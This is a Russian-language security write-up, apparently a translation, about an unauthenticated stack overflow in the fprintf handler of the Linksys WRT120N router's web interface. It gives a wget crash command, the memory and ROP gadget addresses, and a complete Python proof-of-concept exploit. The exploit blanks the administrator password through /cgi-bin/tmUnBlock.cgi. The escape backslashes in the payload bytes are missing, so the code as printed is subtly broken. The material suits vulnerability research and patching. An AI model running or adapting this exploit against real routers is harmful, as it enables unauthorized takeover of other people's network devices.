Переполненяем стек в fprintf на Linksys WRT120N

в 16:59, , рубрики: linksys wrt120n, reverse engineering, stack overflow, информационная безопасность, Сетевое оборудование

После того, как мы получили расшифрованную прошивку и JTAG-доступ к устройству, настало время поисследовать код на какие-нибудь интересные баги.
Как мы узнали раньше, WRT120N работает на RTOS. В целях безопасности, административный WEB-интерфейс RTOS использует HTTP Basic authentication:

image

Большинство страниц требуют аутентификацию, но есть несколько страниц, которые явно запрещают ее:

image

image

Любой запрос на эти URL будет выполнен без аутентификации, поэтому это хорошее место для поиска багов.

Некоторые из этих страниц не существуют на самом деле, другие существуют, но ничего не делают (NULL-функции). Однако, страница по адресу /cgi/tmUnBlock.cgi имеет какой-то обработчик, который обрабатывает пользовательские данные:
image

Интересный кусок кода, который следует рассмотреть — вот этот вот:

fprintf(request->socket, "Location %snn", GetWebParam(cgi_handle, "TM_Block_URL"));

Хоть и на первый взгляд он выглядит порядочным, обработка параметра TM_Block_URL POST-запроса уязвима благодаря недостатку в имплементации fprintf:
image

Да, fprintf вызывает vsprintf с форматом и аргументами и складываем в локальный буфер, ограниченный 256 байтами.
image
Уважай себя. Не используй sprintf.

Это значит, что POST-параметр TM_Block_URL вызовет переполнение стека в fprintf, если он будет больше 246 байтов (sizeof(buf) – strlen(“Location: “)):

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi

image
Стектрейс падения

Сделаем-ка простенький эксплоит, который будет перезаписывать критические данные в памяти, ну, например, пароль администратора, который находится по адресу 0x81544AF0:
image

Пароль администратора является стандартной NULL-terminated строкой, поэтому если мы сможем записать всего лишь один NULL байт по адресу, то мы сможем залогиниться в роутер с пустым паролем. Нам нужно убедиться, что система продолжит нормально работать после эксплоита.

Если посмотреть на конец функции fprintf, можно увидеть, что регистры $ra и $s0 восстанавливаются из стека, значит, мы можем управлять этими регистрами, когда мы переполняем стек:
image

Есть еще отличный кусок кода по адресу 0x8031F634, который записывает 4 NULL-байта из регистра $zero по адресу в регистре $s0.
image

Если мы используем переполнение так, чтобы fprintf вернулся на 0x8031F634 и перезаписал $s0 адресом с административным паролем (0x81544AF0), тогда этот код сделает следующее:

  • Сбросил пароль администратора
  • Возвратится на адрес возврата из стека (а мы контролируем стек)
  • Добавит 16 к указателю стека

Последний пункт является проблемой. Нам нужно, чтобы система продолжила работать и не упала, но если мы просто вернемся в функцию cgi_tmUnBlock как fprintf и сделал бы, мы получим смещение стека на 16 байт.

Найти пригодный к использованию MIPS ROP gadget (последовательности инструкций для выполнения обратно-ориентированного программирования, прим. пер.), который уменьшает указатель стека на 16 байт может быть проблематично, поэтому мы пойдем другим путем.

Если посмотреть на адрес, где fprintf должен был вернуться в cgi_tmUnblock, мы можем увидеть, что все что он там делает, это восстанавливает $ra, $s1 и $s0 из стека, затем возвращается и добавляет 0×60 к указателю стека:
image

Конечно, нет таких gadgets, которые бы именно это и делали, но есть неплохой по адресу 0x803471B8, который довольно похож:
image

Этот gadget добавляет к стеку только 0×10, но это не проблема. Мы сделаем дополнительные stack frames, которые заставят ROP gadget вернуться саму в себя 5 раз. На пятой итерации, оригинальные значения $ra, $s1 и $s0, которые мы передавали в cgi_tmUnblock, будут восстановлены из стека, и наш ROP gadget вернется к caller'у cgi_tmUnblock:
image

С правильными значениями в стеке и регистрах, система продолжит работу как ни в чем не бывало. Вот вам PoC (скачать):

import sys
import urllib2
 
try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)
 
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url
 
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "x81x54x4AxF0"         # $s0, address of admin password in memory
post_data += "x80x31xF6x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "x80x34x71xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler
 
for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "x80x34x71xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "nn" and terminating
                                        # NULL byte)
 
try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
    pass

image

Выполнение кода тоже возможно, но об этом как-нибудь в другой раз.

Автор: ValdikSS

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js